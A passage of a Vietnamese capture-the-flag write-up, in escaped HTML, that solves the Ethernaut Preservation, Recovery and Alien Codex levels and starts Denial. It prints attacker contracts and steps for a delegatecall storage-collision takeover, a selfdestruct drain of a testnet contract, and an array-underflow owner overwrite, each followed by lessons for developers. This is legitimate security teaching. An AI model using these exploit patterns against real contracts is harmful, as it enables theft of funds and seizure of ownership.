&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">storedTime&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_time&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần tìm cách để trở thành owner của server transaction&lt;/p>
&lt;p>Ta chú ý đến hàm &lt;code>delegatecall&lt;/code>: Đây là một hàm low-level, cho phép contract A gọi hàm từ contract B trong khi storage và context của A vẫn giữ nguyên. Khi sử dụng &lt;code>delegatecall&lt;/code>, một trong những điều ta cần chú ý là layout của các biến. Khi layout của các biến trong A và B khác nhau, việc sử dụng &lt;code>delegatecall&lt;/code> sẽ không khả thi do ta truy cập sai dữ liệu cần sử dụng.&lt;/p>
&lt;p>Quay trở lại challenge, ta thấy hai contract là &lt;code>LibraryContract&lt;/code> và &lt;code>Preservation&lt;/code> có cách khai báo biến khác nhau. Chính vì vậy, khi gọi hàm &lt;code>setTime&lt;/code> qua &lt;code>delegatecall&lt;/code>, biến &lt;code>storedTime&lt;/code> trong contract thứ hai sẽ chính là biến &lt;code>timeZone1Library&lt;/code> (Do đều nằm ở slot 0). Từ đó, khi gọi hàm &lt;code>setSecondTime&lt;/code>, ta sẽ có thể chỉnh sửa giá trị của &lt;code>timeZone1Library&lt;/code>.&lt;/p>
&lt;p>Do ta có thể thay đổi giá trị của &lt;code>timeZone1Library&lt;/code>, ta sẽ muốn thay đổi nó trở thành địa chỉ của một contract mà ta có thể điều khiển được. Contract Attack của ta có thể viết như sau:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/preservation.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">timeZone1Library&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">timeZone2Library&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">storedTime&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">setTime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_time&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">owner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_time&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Contract Attack của ta phải có cùng layout các biến tương đương như contract &lt;code>Preservation&lt;/code>, có cùng tên hàm và kiểu dữ liệu (để có thể gọi được qua hàm &lt;code>delegatecall&lt;/code>)&lt;/p>
&lt;p>Vậy là đã setup xong, ta tiến hành attack như sau&lt;/p>
&lt;ul>
&lt;li>Load contract &lt;code>Preservation&lt;/code> và deploy contract &lt;code>Solve&lt;/code>&lt;/li>
&lt;li>Khi tương tác với contract &lt;code>Preservation&lt;/code>, ta gọi hàm &lt;code>setFirstTime&lt;/code> với tham số bất kì, để hai biến &lt;code>storedTime&lt;/code> và &lt;code>timeZone1Library&lt;/code> có cùng địa chỉ&lt;/li>
&lt;li>Tiếp theo, ta gọi hàm &lt;code>setSecondTime&lt;/code> với tham số là &lt;code>uint256(_address)&lt;/code>, trong đó &lt;code>_address&lt;/code> là địa chỉ của contract &lt;code>Solve&lt;/code>. Như vậy, địa chỉ &lt;code>timeZone1Library&lt;/code> sẽ được thay thế bởi địa chỉ của contract &lt;code>Solve&lt;/code>&lt;/li>
&lt;li>Bây giờ, ta chỉ cần gọi hàm &lt;code>setFirstTime&lt;/code> với tham số bất kì, khi đó &lt;code>delegatecall&lt;/code> sẽ gọi hàm &lt;code>setTime&lt;/code> trong contract &lt;code>Solve&lt;/code>, và giúp ta trở thành owner!&lt;/li>
&lt;/ul>
&lt;p>Bài học:&lt;/p>
&lt;ul>
&lt;li>Cẩn thận khi sử dụng &lt;code>delegatecall&lt;/code>, cần sắp xếp layout của các biến trong các contract được gọi thật cẩn thận&lt;/li>
&lt;li>Nếu có ý định sử dụng nhiều lần một vài hàm trong contract B, việc khai báo B là &lt;a href="https://solidity-by-example.org/library/">&lt;strong>Library&lt;/strong>&lt;/a> sẽ tốt hơn nhiều&lt;/li>
&lt;/ul>
&lt;h3 id="recovery">Recovery&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Recovery&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">//generate tokens
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">generateToken&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">string&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">_name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">_initialSupply&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">new&lt;/span> &lt;span class="n">SimpleToken&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_initialSupply&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">SimpleToken&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">string&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="nb">name&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">mapping&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">balances&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// constructor
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">string&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">_name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">_creator&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">_initialSupply&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">name&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_name&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">_creator&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_initialSupply&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// collect ether in return for tokens
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">receive&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">value&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// allow transfers of tokens
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">_amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">_amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">_amount&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">_to&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_amount&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// clean up after ourselves
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">destroy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="n">_to&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">selfdestruct&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_to&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần xóa hết ether trong 1 contract mà server contract đã chuyển đến
Để tìm thấy địa chỉ mà server contract đã chuyển tiền đến, ta sử dụng etherscan. Khi tạo instance, ta vào etherscan để xem server contract đã chuyển tiền cho ai&lt;/p>
&lt;p>&lt;a href="https://sepolia.etherscan.io/tx/0x24165f30905bf766e104be191c8d020a925d9c19558c96ae3745746c68b6938f">https://sepolia.etherscan.io/tx/0x24165f30905bf766e104be191c8d020a925d9c19558c96ae3745746c68b6938f&lt;/a>&lt;/p>
&lt;p>Ta thấy rằng địa chỉ &lt;code>0x7C4f76d5137C12446226CB22B21622A549A7eD61&lt;/code> đã được nhận 0.001 ether, vậy ta sẽ tìm cách hủy hết tiền của transaction này&lt;/p>
&lt;p>Ta sẽ sử dụng hàm &lt;code>selfdestruct&lt;/code> trong function &lt;code>destroy&lt;/code> của contract &lt;code>SimpleToken&lt;/code>. &lt;code>selfdestruct(_to)&lt;/code> cho phép ta xóa một contract và chuyển toàn bộ ether trong contract đó về địa chỉ &lt;code>_to&lt;/code>&lt;/p>
&lt;p>&lt;code>solve.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/recovery.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SimpleToken&lt;/span> &lt;span class="n">ISimpleToken&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getInstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ISimpleToken&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">SimpleToken&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">attack&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_address&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ISimpleToken&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">destroy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_address&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Vậy chiến thuật của ta sẽ như sau&lt;/p>
&lt;ul>
&lt;li>Load contract &lt;code>SimpleToken&lt;/code> từ địa chỉ có 0.001 ether, ở đây là &lt;code>0x7C4f76d5137C12446226CB22B21622A549A7eD61&lt;/code>&lt;/li>
&lt;li>Khi load xong, ta gọi hàm &lt;code>destroy&lt;/code> với một địa chỉ bất kì, ở đây mình sẽ sử dụng address của bản thân, như vậy là ta đã hủy hết tiền trong địa chỉ ở trên và chuyển tiền trong địa chỉ đó về ví ta&lt;/li>
&lt;/ul>
&lt;h3 id="alien-codex">Alien Codex&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;../helpers/Ownable-05.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">AlienCodex&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">Ownable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">contact&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes32&lt;/span>&lt;span class="p">[]&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">codex&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">contacted&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">assert&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">contact&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">makeContact&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">contact&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">record&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes32&lt;/span> &lt;span class="n">_content&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">contacted&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">codex&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">push&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_content&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">retract&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">contacted&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">codex&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">length&lt;/span>&lt;span class="o">--&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">revise&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">bytes32&lt;/span> &lt;span class="n">_content&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">contacted&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">codex&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_content&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần chiếm quyền owner của server contract.&lt;/p>
&lt;p>Ở đây, ta chú ý &lt;code>codex&lt;/code> là dynamic array, tức là các giá trị trong &lt;code>codex&lt;/code> được lưu trong storage với cách tính index khác với fixed array. Cụ thể hơn, &lt;code>codex[0]&lt;/code> sẽ được lưu ở slot &lt;code>keccak256(abi.encode(1))&lt;/code>, &lt;code>codex[1]&lt;/code> được lưu ở slot &lt;code>keccak256(abi.encode(2))&lt;/code>,&amp;hellip;&lt;/p>
&lt;p>Khi đã biết cách tính vị trí trong storage của các phần tử &lt;code>codex&lt;/code>, ta có thể sử dụng hàm &lt;code>revise()&lt;/code> để thay đổi data của &lt;code>codex[i]&lt;/code>. Ta sẽ lợi dùng điều này để chiếm quyền owner.&lt;/p>
&lt;p>Khi quan sát hàm &lt;code>retract()&lt;/code>, ta thấy mình có thể gọi hàm này khi nào cũng được. Vậy sẽ ra sao khi ta gọi hàm này khi mảng &lt;code>codex&lt;/code> của ta không có phần tử nào ? Khi đó sẽ xảy ra tràn số nguyên, và độ dài của mảng &lt;code>codex&lt;/code> sẽ trở thành &lt;code>maxint(uint256)&lt;/code>, tức là ta có thể truy cập toàn bộ slot của storage.&lt;/p>
&lt;p>Khi đã có thể truy cập toàn bộ slot của storage, ta sẽ tìm &lt;code>i&lt;/code> sao cho &lt;code>codex[i]&lt;/code> lưu ở slot 0, tức là slot chứa owner address. Ta chỉnh sửa phần tử &lt;code>codex[i]&lt;/code> bằng hàm &lt;code>revise&lt;/code> với address là address của ta. Done!&lt;/p>
&lt;p>Bài học:&lt;/p>
&lt;ul>
&lt;li>Kiểm soát vùng nhớ cẩn thận khi dùng dynamic array&lt;/li>
&lt;li>Biết được cách tính vị trí trong storage của từng phần tử trong dynamic array&lt;/li>
&lt;li>Tránh mọi trường hợp tràn số&lt;/li>
&lt;/ul>
&lt;h3 id="denial">Denial&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Denial&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">partner&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// withdrawal partner - pay the gas, split the withdraw
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">constant&lt;/span> &lt;span class="n">owner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0xA9E&lt;/span>&lt;span class="p">);&lt;/span>
